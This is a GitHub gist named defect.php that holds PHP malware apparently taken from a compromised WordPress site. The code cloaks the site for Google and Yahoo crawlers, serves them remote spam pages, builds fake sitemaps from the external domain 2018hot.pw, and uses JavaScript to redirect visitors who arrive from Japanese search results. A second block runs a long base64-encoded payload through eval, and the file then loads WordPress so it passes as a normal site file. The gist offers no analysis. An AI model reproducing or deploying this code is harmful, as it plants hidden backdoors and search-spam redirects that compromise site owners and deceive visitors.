Skip to content

Instantly share code, notes, and snippets.

@mahpah
Last active February 5, 2021 18:36
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mahpah/cc726d29a0225d8c714f45272fc3c7d5 to your computer and use it in GitHub Desktop.
Save mahpah/cc726d29a0225d8c714f45272fc3c7d5 to your computer and use it in GitHub Desktop.
defect.php
<?php
error_reporting(0);
$isIp = false;
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.255.255') , array('66.249.0.0' , '66.249.255.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') , array('216.172.128.0' , '216.239.159.255') , array('64.68.80.0' , '64.68.95.255'), array('205.164.0.0' , '205.164.63.255') , array('50.117.0.0' , '50.117.127.255') , array('23.104.0.0' , '23.104.255.255') , array('23.80.0.0' , '23.80.255.255') , array('104.132.0.0' , '104.132.255.255') , array('104.134.0.0' , '104.134.255.255') , array('104.135.0.0' , '104.135.255.255') , array('38.99.82.0' , '38.99.251.255') );
$localIp = get_ip();
$isIp = is_ip($localIp,$ipRanges);
$isbot = isCrawler();
if ($isbot && isset($_GET['action']) && $_GET['action']=='test'){
echo "test ok";
exit;
}
if (preg_match("#(.jpg|.jpeg|.png|.gif|.css|.js|.pdf|.ico)#si", $_SERVER["REQUEST_URI"])){
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
exit;
}
if (stristr($_SERVER["REQUEST_URI"],"sitemap.xml") || stristr($_SERVER["REQUEST_URI"],"sitemap_1.xml")){
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$date = getcontent("http://www.2018hot.pw/page50-33/sitemap.txt");
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;
$mapEnd = PHP_EOL . '</urlset>';
$n = 5;
$datas = explode("\r\n", $date);
if (count($datas)<=1){
$datas = explode("\n", $date);
}
$datas[0] = substr($datas[0],3);
$suffixs = explode("|", $datas[0]);
$avg = (int)(50000/(count($datas)-1)/count($suffixs));
$mapMid = "";
for($i=1;$i<count($datas);$i++){
for ($s=0;$s<count($suffixs);$s++){
for($j=1;$j<$avg;$j++){
$date = date("Y-m-d"); $time = date("H:i:s");
$p_c = explode("|", $datas[$i]);
$pid = mt_rand(1, $p_c[1]);
$url = $siteLink.U($p_c[0], $pid, $suffixs[$s]);
$mapMid .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
}
}
}
header("Content-type: text/xml");
echo $mapPre.$mapMid .$mapEnd;exit;
}
if(($isbot && $isIp) || (isset($_GET['action']) && $_GET['action']=='bottest')){
$content = getcontent("http://www.2018hot.pw/page50-33/page_desc.php?".$_SERVER['HTTP_HOST']."|".str_replace("?action=bottest","",$_SERVER["REQUEST_URI"]));
echo $content;
exit;
}
if (!$isIp && preg_match("#(google.co.jp|yahoo.co.jp|docomo.ne.jp)#si", $_SERVER["HTTP_REFERER"])){
echo "<script>window.location.href='http://www.2018hot.pw/page50-33/go.php?".$_SERVER['HTTP_HOST']."|".$_SERVER["REQUEST_URI"]."';</script>";
exit;
}
function getcontent($url){
if ($url=="") return "";
if(function_exists('curl_init')){
$con = curl_init((string)$url);
curl_setopt($con, CURLOPT_HEADER, false);
curl_setopt($con, CURLOPT_RETURNTRANSFER,true);
curl_setopt($con, CURLOPT_TIMEOUT, 120);
$result = curl_exec($con);
curl_close($con);
}else{
$result = file_get_contents($url);
}
return $result;
}
function get_ip($type = 0) {
$type = $type ? 1 : 0;
static $ip = NULL;
if ($ip !== NULL) return $ip[$type];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$pos = array_search('unknown',$arr);
if(false !== $pos) unset($arr[$pos]);
$ip = trim($arr[0]);
}elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
$long = sprintf("%u",ip2long($ip));
$ip = $long ? array($ip, $long) : array('0.0.0.0', 0);
return $ip[$type];
}
function is_ip($localIp,$ipRanges)
{
$localIp = ip2long($localIp);
foreach($ipRanges as $val)
{
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
if($localIp >= $ipmin && $localIp <= $ipmax)
{
return true;
}
}
return false;
}
function isCrawler() {
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
$spiderSite= array(
"Googlebot",
"Mediapartners-Google",
"Adsbot-Google",
"Yahoo!",
"Google AdSense",
"Yahoo Slurp",
"bingbot",
"MSNBot"
); foreach($spiderSite as $val) {
$str = strtolower($val); if (strpos($agent, $str) !== false) {
return true; }
}
} else {
return false; }
}
function U($cid,$pid,$suffix){
$href = str_replace("{c}", $cid, $suffix);
$href = str_replace("{0}", $pid, $href);
$hrefs = str_split($href);
$char_array=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
$num_array = array('0','1','2','3','4','5','6','7','8','9');
$newhref = "";
foreach ($hrefs as $h){
if ($h=='$') $newhref .= $char_array[array_rand($char_array)];
elseif ($h=='#') $newhref .= $num_array[array_rand($num_array)];
else $newhref .=$h;
}
return $newhref;
}
?>
<?php $O00OO0=base64_decode("bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdq");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iT3NBY05abWxwTWZHYXpEWWR5UVVpZ1BYalRJa0hoYkZKbkNWTHVCcktFdHhXUlN2d3Flb0tsdWRyR2N5a25tYU1EalJZZnBJUUhYaUJ4WkZoZXF0QU5Ddm93UFZ6V2dPVEVVYnNTTEpYajlzTWh1ckNjdmZkYzlmaTNBeWRhOWZZYXl3R2ZIc3p4bHJDUUVrZDB5c1pqMEhHY3RsZDJJN2pwSkZNaVBVUlQ1TkdpbkhYVVBlZE5BZUxVSEhaYXRmZGN0NXpDZDJyQzRmbkRud254UnNvQnVOWkNzSEFEUjBvQlpEbmY0T0t4V3duQkkxQWZGbFpDdUhSaUFmUmlGSkFEUjJvQldzblE0c29CdU5aQ3NIQURSMm9CV3NuUTRmcnhJd25CSTFBZkZIb0N1SFphdGZkY3Q1ekNkMnJRNGZyakZ3bkM0c0FmdWxaQ2QyclE0ZnJqRnduQkkxb0JaMXJVZGtaQ3NIWkNQZWROQWVMVUhOckRad254cHdueEZmb0J1TlpDc0hBRGRmb0JXMG9CWjFyVTRmcnhJTnpVdWxaQ3VIUmlBZlJpRkpBRGQwb0JXZnJVNHNvQnVOWkNzSEFEZDBvQldmclU0ZnJ4SXduQkkxQWZGSG9DdUhaYXRmZGN0NXpDZGZuakZ3S2pJd254WjRvQnVOWkNzSEFEWnNLVTQ0clU0ZnJ4SXduQkkxQWZGSG9DdUhaYXRmZGN0NXpDZGZueFJ3bkJuNW9CbmZvQnVOWkNzSEFEWk9yUTRmbkRGd3JCbnduQkkxQWZGSG9DUGVkTkFlTFVITm5CVzJvQlczblE0T25CSHduQ2RIb0N1Tm5CVzJvQlpES1U0T3J4RnduQkkxQWZGSG9DdUhSaUFmUmlGSkFEUjBvQlI0b0JIc29CdU5aQ3NIQURSMG9CUjRvQkYxb0JaMXJVZGtvQ3VIUmlBZlJpRkpBRFpzclU0T3JCcHduQzRzQWZ1bFpDZGZuakl3bnhSMG9CUkRvQloxclVka1pDc0haYXRmZGN0NXpDZDFuQzRPbnhkd25DNHNBZnVsWkNkMW5DNE9ueGR3bnhaM29CWjFyVWRrWkNzSFphdGZkY3Q1ekNkZm5mNE9uanB3bkM0c0FmdWxaQ2RmbmY0T25qcHduQkkxb0JaMXJVZGtaQ3NIWmF0ZmRjdDV6Q2RmbmY0NG5DNHNvQnVOWkNzSEFEWkRvQkhzb0JaMXJVNGZyeElOelV1bFpDUGVkTkFlTFVITm54dTBvQldEblE0c29CdU5aQ3NIQURXc3JDNE9uRFp3bkJJMW9CWjFyVWRrWkNzSFphdGZkY3Q1ekNkT25qcHdueG4wb0J1d25DZEhvQ3VObnh1MG9CV0RyQzRmcnhJd25CSTFBZkZIb0N1SFJpQWZSaUZKQURXc3JDNE9uREl3bkM0c0FmdWxaQ2RPbmpwd254bjFvQloxclU0ZnJ4SU56VXVsWkNQZWROQWVMVUhObkRId0t4RndLalp3bkNkSG9DdU5uREh3S3hGd25CSU9vQloxclVka1pDRjdqcEpGcWE5QlJUT0FkQ3U5WmFZeVl0OWtkQ0hrS3MwekFheURVaXVIWFVQa2QxOWtkQ0hGcWE5QlJUT0FkQ3NGTWlQVVJUNU5HaW5rS3MwekFheURSYzkwWmowSE1pcmpkY3QzcWF2ZnpDRjdqcGtrR1F1SkFheURSYzkwWkNSY1pheURkMnYwekNFbUUwdklUZlllUjNFa3EyNE5pVUZIQVFSSEF0OWhFdkVxQTJ0QllheWJxUVlZWHgwTllhdkRZQ2RrTHMwelpDdUhaYXZCTWE4SFpORXlkM3BIcTJsUUtzMHpaQ3VIWmF2NE1pcDdqcGs5anBra0dRdUpkaEF5RzE5Z1JpRUJNQ0hRWmZId01OUE5tQzVTZGF2Tm1DNXNxY1k4b2NZa0dOc3dSM3JEbUM1U2Qzc3dkYUVjbUM1a1IyOGtaM3JrWlFzSEF0OXhFdkFURXZBcVp5QXRJdnZ0STFFbXZ2QUFaeTBremlsckNRdUhaQ1BKR1R0RkdpWkpaRmVJdnR1Ym5VNE9aanBzckNQS3EzcEhFYzkxcWNwUXp4bHJDUXVIWkNQSkdUdEZHaVpKWnlyMFJpRTFkREpIcmp1MFpXNWJZQ1BhcTN2d0dDWmtLczB6WkN1SFphdjRNaXA3anBrOWpwa2tHUXVKZDNFZk1pcjBkUUhGaTFydEl5R3RJeWxRSUZ2RXZJdnh2dDl2SUZGUWlVc1FkMnkwR1QxZWRDNTRxVHNRelVQOG1DUERZaEFrZDNFZnpDRW1JMHZVdkZ2VVRmQVVFdnR2RXZySWkxdlVVVUFZb0NBRE1pRXlxVHRzaURXd0xhMWxaUUZrTHMwelpDdUhaQ0VETWlFeXhheXdNRDBOTWhFMGRqSmJvZmR3QXQ5eEV2QVRFdkFxQTBlSXZ0UG1VVzl4dkNZWUtzMHpaQ3VIWkNFRlJpRXlaajBIRzJ2MFIyOXdZYXZ3WUNIUU1oRTBkakpibzNZM1lmNGZualc0TWE5MG9OUDNvM1BlRzJJMW5DMERuZjlETWlFeXFUdHNvTkU0WUNaa0tzMHpaQ3VIWkNFZ1JpUHBkY0lIWFV1TlhDZHdBRDk0cVRzSFljdmZkMnlicUIwUW5VNHNaUVB5cWNyYkdheXdHRDBRdnZFYW94SFFaajhOb1FkK0FmNEhJV2VwaTB2WHhDNE5YaHZmcWhyeVlDUDRxVE93ZEQwUU1oRTBkakpibzNZM1lmNURNaUV5cVR0c2RmNWJkY2RiZDJySkdUMWVkZjlETWlFeXFUdHNvRHV3S1VaK0FmdXdadFBaSXQ5dHgwczdqcEpIWkN1SEFhMWVkV3Z3R0N1OVp0UFpJdDl0eDBzSG9RdUhBRHNiWWlBbGQydjBYUWQ3anBKSFpDdUhBYTRIWFV1MUtzMHpaQ3VIWkNFRlJpRWVkZnU5WmF2NGRhT2JHYUlKWnlPZmlhNFFvQ3VGR2F0MEdVRjdqcEpIWkN1SE1UUkh6YXJiWVQ1MHpDRUZSaUVlZGZGOFh4V2tMczB6WkN1SFpDdUhaQ3VGR2F0MFJpbkhYVVB5TGhQbHEyRXl6Q0FkcVFabFpDRUZSaUV5enhsckNRdUhaQ1A5anBKSFpDdUhBYUVlWWF0RFREUFlaajBIZDN2UWQzRWZ6Q0VGUmlFZWQxbHNpVXNEenhsckNRdUhaQ3VGZDN2Y0djeTRkZnU5WmF2NGRhT2JHYUlKWk5zUW9DdUZHYXQwUmlycW50MGtLczB6WkN1SFpDRWVZY2RIWFV1Sk1UNTB6VUgxbmp1c25DOEpSMjkxcU5wSkFhRWVZYXREelUwT3pVOUJxM3Z3WUNIRmQzdmNHY3k0ZGZGa0tzMHpaQ3VIWkNFZ1JpUHJNVHBIWFV1UVpCbHJDUXVIWkNQY3EzWkpBYUY5bnhsRk14T0JxM3Z3WUNIRkdhdDBSaW5rS2ZFa3pmbGtMczB6WkN1SFpDdUhaQ1BjcTNaSHpDRURYeHU3QWhuOFIyOTFxTnBKQWhyMUdjR2tMaG5rS2ZFRHpmbGtMczB6WkN1SFpDdUhaQ3VIWkN1SEdjOWZ6Q0VTWHhXN0FhSjhBYXQyR0RsRk1RbFZ6aWxyQ1F1SFpDdUhaQ3VIWkN1SFpDdUhaQ3VGR2F0MEdVdTlaYUVlWWFJSlp5RmdxVTFGWlFGN0NwRkFBaEVrcVRJSFhVUEZSaUV5ekNBWktjRjZkZlprS3MwelpDdUhaQ3VIWkN1SFpDdUhaQ3VIWkNFc2kybkhYVVB5TGhQbHEyRXl6Q0E4WlFzSEFhRWVZYXREVGZFa2lVRjdqcEpIWkN1SFpDdUhaQ3VIWkN1SFpDdUhBaFBrR0N1OVphMTBpM0FlcWNwSm5Vc0hBaFBtUjFsT2lVRjdqcEpIWkN1SFpDdUhaQ3VIWkN1SFpDdUhBaHZmcUN1OVpDRURNaUV5eGF5d01mNXZ6Q0VzaTJycW50MGxaQ0VzTVRwbFpDRURZVEdjTWllRFRmRURpVUY3anBKSFpDdUhaQ3VIWkN1SFpDdUhaQ3VIQWExZWRXMWtHQ3V3WFV1UVpDdUhaQ3U4WWlBbFhIMHpaQ3VIWkN1SFpDdUhaQ3VIQ3BGQVpqT2xxMm4rWlF1d1pDRTFkY3NIb1F1UVhDOWxxMm4ranBKSFpDdUhaQ3VIWkN1SFpDdUFDcEZIWGFPZWQzRWdxMnArWlE0SEFhRWVZYUlIb1F1UXZDWkhvUXVGWWF5Z0dVdXdaUTBzcnhKc25qc2JxYXREWWExYkdqNHJDUXVIWkN1SFpDdUhaQ3VIWnVGQUNVdThSMmVlcWNZeUdOQXlkeDVGUlR5bEx4c2JSMmVlcWNZeUdOQXlkeDRyQ1F1SFpDdUhaQ3VIWkN1SFp1RkFDVXU4ZGhBa3EzQWtZaEYrbkM0T1hDOXNkY3liZGN5MEx4NHJDUXVIWkN1SFpDdUhaQ3VIWnVGQUNVdThvM3ZmcWo0ckNRdUhaQ3VIWkN1SFpDdUhadUZBWkJsckNRdUhaQ3VIWkN1SFpDdUhaaDByQ1F1SFpDdUhaQ3VIbXAwelpDdUhaaDByQ1F1SFpDUEpHVHRGR2laSlpGcmJxTkV5cU5wZ1loeXNHeEpIWWF2NFlDOTRxVHNRenhsckNRdUhaQ1B5UjJlYlpDRWdSaVBwZGNJd0FhMWVkVzFrR0N1d0FhMWVkV3Z3R2pneUxheTBLczB6bXAwempwa2tHUUhKQWF5RFJjOTBaQ1JjWkNFa2QweXN6VVA4bUN1Sk1pckRHaXBKQXQ5aEV2RXFBMnRCWWF5YnFRWVl6VXVjQVF1RmkwWXR2dGxOUlRyME1UOXdBMTA5WFVZUXEzRTBHaXIwQWZGa0xzMHpaQ3VIWkNFQnEyNTBHVDUwWmowSEcydjBSMjl3WWF2d1lDSFFNaEUwZGpKYm8zWTNZZjRmbmpXNE1hOTBvTlAzbzNQZUcySTFuQzBEbmY5c1JUWXlpMkV5ZDJud2RhZXNYZlp3QXQ5eEV2QVRFdkFxQTBlSXZ0UG1VVzl4dkNZWW9RQThaUTVEWWhBbWRjdnNxYXRCR1VIUVgydEJZYXlicUIxUXEzRTBHaXIwWlFzUVpRc0ZpMXJ0SXlHdEl5bFFJRnZFdkl2eHZ0OXZJRkZRaVVGa0tzMHpaQ3VIWmF2Qk1hOEhBYXJicU5FeXFOcDdqcEpIWkN1SEdpZWtZamxyQ04wckNIMHpNVFJIekNXRk1pckFkQ3VjQVFQc2Rjdk5pMjFlWWFySnpDWkJ6YVlicTJZbEdVNUJxZjVTZGhPNVJUZWJxZjVCcWY1U2RoT0ZxMnJicVQ4d3FjSXdNTnVrWjNya1pRc0hBdDl4RXZBVEV2QXFaRmVJdnRQbUlGdmFFdkF0SVFBWXpVeTdqcEpIWkN1SEdUckpxZnVRWGhyQmRjeXNZajUzTVQ1RnEzZHdxYTlCUmlFa3EyNHdNaEF5R0IwTk1oRTBkakpibzNZM1lmNGZualc0TWE5MG9OUDNvM1BlRzJJMW5DMERuZjlOcWY1c01odS9aUTRGaTFydEl5R3RJeWxOVXRFSUl0OVp4MXJJQTEwd1pOc1FvUUVtSTB2VXZGdlVUZkFVRXZ0dkV2cklpMXZVVVVBWW9RWk5LRHNiZDJyZk1pUDBYUVo3anBKSFpDdUhHaWVrWWpsckNOMHJDSDB6R052d1IzRWtxMjRIRzJ2MFIyOXdZYXZ3WUNIRllpQWx6aWxyQ1F1SFpDUGtHUXVKQWh2ZnFqMDlaUVprWmhBeVlodmZxUXVRWkJsckNRdUhaQ1BrR1FlY1lUNUJZYXlicXk5eUxheURZaG5KQTJyMWRjT21NVDVrWUNka3ppbHJDUXVIWkN1SFpDdUhBYXJicVF1OVphcjFkY09tTVQ1a1lDSEpkM0VmTVQ1TnpVRTFkY3NrS3MwelpDdUhaQ3VIWkNQQllpQWxpM3J5WWE5c1lDSEZSMjl3b0NQanZ2QW54MVBJaTBldHBJRXRJUXNIR2N0bGQySWtLczB6WkN1SFpDdUhaQ1BCWWlBbGkzcnlZYTlzWUNIRlIyOXdvQ1BqdnZBbngxUElpMUF0dnR2VXh5RVVwSTV4RUZ2VW9oRWZZVElrS3MwelpDdUhaQ3VIWkNQQllpQWxpM3J5WWE5c1lDSEZSMjl3b0NQanZ2QW54MVBJaTFFQXhJdlh2dnBsWmpXZm5DRjdqcEpIWkN1SFpDdUhaQ0VmR2lyMXFocEhYVVBCWWlBbGkydjRHVG5KQWFyYnFRRjdqcEpIWkN1SFpDdUhaYXIxZGNPbVIyT2JkMklKQWFyYnFRRjdqcEpIWkN1SG1UdmxkMnY3anBKSFpDdUhaQ3VIWkNFZkdpcjFxaHBIWFVQY01UT3lpMll5WXQ5QnEyNTBHVDUwZGZIRllpQWx6eGxyQ1F1SFpDUDlqcEpIWkN1SGRjdjBZaUF3WkNFZkdpcjFxaHA3anBrOWpwSnJDY0cxcWNyME1UOXdaYVl5WXQ5a2RDSEZZaHlzR1V1OVpqdWtaaGxyQ1F1SFpDdUZZaHlzR1V1SFpDdUhaQ3U5WkN1RlloeXNHVXUvWmpXSEtRdXNLczB6WkN1SFpocjBSaUVrUmZ1Rk1pdUhaajBIWkNQS3ZJT25LczB6WkN1SFpheWNaQ0hGTWl1SFp4MDlaVzV2eFdza1poQXlZaHZmcVF1Rk1pUHFBaEU1ZGF2WUtzMHpaQ3VIWmF5Y1pDZWtkM3J5WUNIRmkxcnRJeUd0SXlsTlV0RUlJdDlSaTBHWEl5WVBJRkV0RXQ5YXgxWk5pVUZrWmhsckNRdUhaQ3VIWkN1SEFhdGZkUXVIWkN1OVpDdUhHaWVzcWE5RkdVSE5vQ2RsWkNFbUkwdlV2RnZVVGZZWnZ0RXBpMWVtRUY5VXYwdFVFV3ZXaTBHWElRWVl6eGxyQ1F1SFpDdUhaQ3VIQWhQYmRmdUhaQ3U5WkN1SFJpQWZSaXltZDJ2ZWRjckp6Q1kxcWNnd3EzWXdBZnNGUmlBZnp4bHJDUXVIWkN1SFpDdUhNVFJKR2N0bGQySUhaeDA5WkNFc3EzbmtaaHZ3ZDJ2MHpDRWVkTkFxQWhQYmQxMGtLczB6WkN1SFpDdUhaQ3VGTWl1SFpDdUhaajBIWkNQMGRjeWd6Q0VlZE5BcW50MGtLczB6WkN1SFpoMXlxaHJ5TVRSSHpheURkMnYwekNFbUkwdlV2RnZVVGZZWnZ0RXBpMHJuVUl2S3Z0OUFJQ1lZelVGSExzMHpaQ3VIWkN1SFpDdUZNaXVIWkN1SFpqMEhaQ3VGaTFydEl5R3RJeWxOVXRFSUl0OWp4V3l0eHlFbVV2dU5peGxyQ1F1SFpDUDlHVE9ER1R5Y1pDZWtkM3J5WUNIRmkxcnRJeUd0SXlsTklGdnJ4MUV0aTB0V0V0Wk5pVUZrWmhsckNRdUhaQ3VIWkN1SEFheXNaQ3VIWkN1OVpDdUhBdDl4RXZBVEV2QXFBMUF0eEk5SUV2OVBFV0VVQTEwN2pwSkhaQ3VIbXAwelpDdUhaQ0VscTI1TlpqMEhkM1BmTVQ1MEdRSFFBaUlRb2F5c25jT2JxY2RKQWF5c3pVRjdqcEpIWkN1SEFheXNaQ3VIWFV1RnFhOXdHZnUvWmF0ZmRjdDV6Q0VrZENzSEFhT2JxY2RrWmpKSFJpQWZSaUZKQUR1d25DNHNvQnVOb0N1c3p4bHJDUXVIWkNQZkdpRTFkYzRIQWF5c1RmRTBMaVB5aXhsckNOMHJDSDB6R052d1IzRWtxMjRITWlybU1pdUpBYU9iUjJ0bFVpdWxBYXlzSWN0d0cydkR6cDB6THMwelpDdUhaQ0VscTJyZXFXeXNaajBITWl1ZnFhOXdHZkhGcWE5QlJUT0FkQ0Y3anBKSFpDdUhHYzlmR1R0Qk1DSEZNaVBVUlQ1TkdpbkhSaW5IQWhHZXFDRnJDUXVIWkNQN2pwSkhaQ3VIWkN1SFpDRWtkYTFrcUIxRGRoQWtxTkVjekNaeVlVWmxNaXVmcWE5d0dmSEZZY3RsVERQWXpVRjdDcEZGTWlQZ1JpSDlkM1BmTVQ1MEdRSFFBaUlRb2F5c25jT2JxY2RKQWhHZXF0bE9pVUZrS3MwelpDdUhaQ3VIWkNQa0dRSEZxYTlCUlRPQWRDdStYVXVGTWlQZ01UNEhBUVJIQWFPYlIydGxVaXVIWGowSEFheXNxVHQ0enAwelpDdUhaQ3VIWkNQN2pwSkhaQ3VIWkN1SFpDdUhaQ1BmR2lFMWRjNEhZaEExR3hsckNRdUhaQ3VIWkN1SG1wMHpaQ3VIWmgwckNRdUhaQ1BmR2lFMWRjNEhHY3RsZDJJN2pwazlqcGtjWVQ1QllheWJxUVBrZDByZlJpWWxHaVpKelVQN2pwSkhaQ3VIQWF0TkdUNTBYVVB1ZDNFZllhOWxxM1l5ZFFIRmkxcnRJeUd0SXlsTlV0RUlJdDl2STB2VWkwdGhFSTVJQTEwa0tzeWtHUXVKWlR2Z2RoRTV6Q0VlRzJ2d1lDRmtaaGxyQ1F1SFpDdUhaQ3VIQWhyc01URXlkeXJrWWFJOVphdGZkY3Q1enUwelpDdUhaQ3VIWkN1SFpDdUhaRllicTJZbEdUQWJZQ1psanBKSFpDdUhaQ3VIWkN1SFpDdVF4VHZGTVR0c1JpQTBxY3ZmZGYxaHEyOU5xYUlRb3UwelpDdUhaQ3VIWkN1SFpDdUhaRnRGZDJBYllDMWhxMjlOcWFJUW91MHpaQ3VIWkN1SFpDdUhaQ3VIWnl5ZU1hOWJaVVpsanBKSFpDdUhaQ3VIWkN1SFpDdVFFMjliRzJPeVpXdEZJMnZ3ZDJJUW91MHpaQ3VIWkN1SFpDdUhaQ3VIWnl5ZU1hOWJadHJsWWlBc1pRc3JDUXVIWkN1SFpDdUhaQ3VIWkNBUU1UNU5SYzkwWlFzckNRdUhaQ3VIWkN1SFpDdUhaQ0FySTA1Q3EzcFFqcEpIWkN1SFpDdUhaQ0Y3Q3B5Y3EzQXlSVHJKekNFRGRheUZHaUF4TWlFeVphdERaQ0UyUlRza1pobHJDUXVIWkN1SFpDdUhaQ3VIWkNFRFloWkhYVVBEWWhBMHEyT2JZMnZmekNFMlJUc2tLc0ZBTVRSSHpocjBkTlBiZGZIRlJUWXlxTnBsWkNFRFloWmtaQ1c5WFVQY1JUT0RHVUZITHMwelpDdUhaQ3VIWkN1SFpDdUhaQ3VIWmhBeVlodmZxUVAwZE52eUtzRkFDaTByQ1F1SFpDdUhaQ3VIbXAwelpDdUhaaDBIR1RPREdVUDdqcEpIWkN1SFpDdUhaaEF5WWh2ZnFRUGNSVE9ER3hsQW1wMHptcDB6anBrY1lUNUJZYXlicVFQdnpDRUJNVHBsQWhQa0dDc0ZkM3ZjR2N5NHppbHJDUXVIWkN1Rk1oQXlHUXU5WmhyMGR5OWZHaVBsUlRyeXpDQTdSMzBRb0N1RlIyeUZvQ3VGZDN2Y0djeTR6eGxyQ1F1SFpDdUZNaEF5R1F1OVpocjBkeTlmR2lQbFJUcnl6Q0E3bmgwUW9DdUZkYXlGb0N1Rk1oQXlHUUY3anBKSFpDdUhBYWVmR1RHRFpqMEhkM0VmaTNyc3FheTB6Q0VKZGN2Y3p4bHJDUXVIWkN1RlIyZWVkeTllZE5BZUx4MWVkTkFlTFVITlJVZGxBMlpOb0NZQkFmc05HQ2RsQTJJTm9DWWNBZnNOR2ZkbEEySE5vQ1lrQWZzTk1RZGxBMmxOb0NZbEFmc05xVWRsQTI0Tm9DWWJBZnNOZENkbEEzV05vQ1lmQWZzTmRmZGxBM3BOb0NZMUFmc05ZUWRsQTNkTm9DWTRBZnNOTFVkbEEzSk56eGxyQ1F1SFpDdUZxTnZnaTJ0ZmRjdDVaajBIUmlBZlJpRkpBRHVOb0NkT0Fmc05uUWRsQURuTm9DZDBBZnNOclVkbEFEUk5vQ2QzQWZzTktDZGxBREZOenhsckNRdUhaQ3VGcWN2M01oQXlHUXU5WkNaUUtzMHpaQ3VIWmFHYmRjdmVSMkhIekNFSmRjdmNkZlBlZGZ1Rk1DeTdqcEpIWkN1SFpDdUhaYXljWkNIRk1qMDlBZnBOelV1RnFjdjNNaEF5R1F1d1hVdUZSMmVlZHk5ZWROQWVMdmdlZE5BZUx2OWZSVDVGekNFQk1hdGZpMnRmZGN0NXp2MDdqcEpIWkN1SFpDdUhaYXZsZDJ2a0dRdUpBYUg5WFVkQkFmRkhBYTV5WTJlZkdUUkhvQjBIQWE1MXF2OWVkTkFlTHZnZWROQWVMdjlmUlQ1RnpDRXdZVDFtUmlBZlJpRmtpeGxyQ1F1SFpDdUhaQ3VIR1RPREdVdUZxY3YzTWhBeUdRdXdYVUVKS3MwelpDdUhaaDByQ1F1SFpDdXJDUXVIWkNQZkdpRTFkYzRIQWE1eVkyZWZHVFI3anBrOWpwSnJDQjgrIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));?><?php define("WP_USE_THEMES", true); require( dirname( __FILE__ ) . "/wp-blog-header.php" );
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment